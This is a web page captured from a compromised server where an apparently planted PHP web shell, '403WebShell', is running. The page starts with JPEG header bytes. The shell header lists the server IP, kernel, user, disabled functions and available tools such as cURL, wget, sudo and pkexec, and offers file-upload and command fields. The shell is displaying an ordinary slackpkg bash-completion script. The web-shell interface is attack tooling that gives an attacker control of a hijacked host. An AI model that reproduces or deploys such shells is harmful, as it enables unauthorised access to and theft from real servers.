����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.145.199.42
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/bash-completion/completions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/bash-completion/completions/slackpkg
# bash completion for slackpkg(8)                          -*- shell-script -*-
# options list is based on `grep '\-.*\=.*)' /usr/sbin/slackpkg | cut -f1 -d\)`

_slackpkg()
{
    local cur prev words cword
    _init_completion -n = || return

    local split=false
    if [[ "$cur" == -?*=* ]]; then
        prev="${cur%%?(\\)=*}"
        cur="${cur#*=}"
        split=true
    fi

    case "$prev" in
        -delall|-checkmd5|-checkgpg|-checksize|-postinst|-onoff|-download_all|\
        -dialog|-batch|-only_new_dotnew|-use_includes|-spinning)
            COMPREPLY=( $(compgen -W 'on off' -- "$cur") )
            return
            ;;
        -default_answer)
            COMPREPLY=( $(compgen -W 'yes no' -- "$cur") )
            return
            ;;
        -dialog_maxargs|-mirror)
            # argument required but no completions available
            return
            ;;
    esac

    $split && return

    if [[ "$cur" == -* ]]; then
        compopt -o nospace
        COMPREPLY=( $(compgen -W '-delall= -checkmd5= -checkgpg=
            -checksize= -postinst= -onoff= -download_all= -dialog=
            -dialog_maxargs= -batch= -only_new_dotnew= -use_includes=
            -spinning= -default_answer= -mirror=' -- "$cur") )
        return
    fi

    local confdir="/etc/slackpkg"
    local config="$confdir/slackpkg.conf"

    [[ -r "$config" ]] || return
    . "$config"

    local i action
    for (( i=1; i<${#words[@]}; i++ )); do
        if [[ "${words[i]}" != -* ]]; then
            action="${words[i]}"
            break
        fi
    done

    case "$action" in
        generate-template|search|file-search)
            # argument required but no completions available
            return
            ;;
        install-template|remove-template)
            if [[ -e $confdir/templates ]]; then
                COMPREPLY=( $(cd "$confdir/templates"; \
                    compgen -f -X "!*.template" -- "$cur") )
                COMPREPLY=( ${COMPREPLY[@]%.template} )
            fi
            return
            ;;
        remove)
            _filedir
            COMPREPLY+=( $(compgen -W 'a ap d e f k kde kdei l n t tcl x
                xap xfce y' -- "$cur") )
            COMPREPLY+=( $(cd /var/log/packages; compgen -f -- "$cur") )
            return
            ;;
        install|reinstall|upgrade|blacklist|download)
            _filedir
            COMPREPLY+=( $(compgen -W 'a ap d e f k kde kdei l n t tcl x
                xap xfce y' -- "$cur") )
            COMPREPLY+=( $(cut -f 6 -d\  "${WORKDIR}/pkglist" 2>/dev/null | \
                command grep "^$cur") )
            return
            ;;
        info)
            COMPREPLY=( $(cut -f 6 -d\  "${WORKDIR}/pkglist" 2>/dev/null | \
                command grep "^$cur") )
            return
            ;;
        update)
            # we should complete the same as the next `list` + "gpg"
            COMPREPLY=( $(compgen -W 'gpg' -- "$cur") )
            ;&
        *)
            COMPREPLY+=( $(compgen -W 'install reinstall upgrade remove
                blacklist download update install-new upgrade-all
                clean-system new-config check-updates help generate-template
                install-template remove-template search file-search info' -- \
                "$cur") )
            return
            ;;
    esac

} &&
complete -F _slackpkg slackpkg

# ex: filetype=sh

Youez - 2016 - github.com/yon3zu
LinuXploit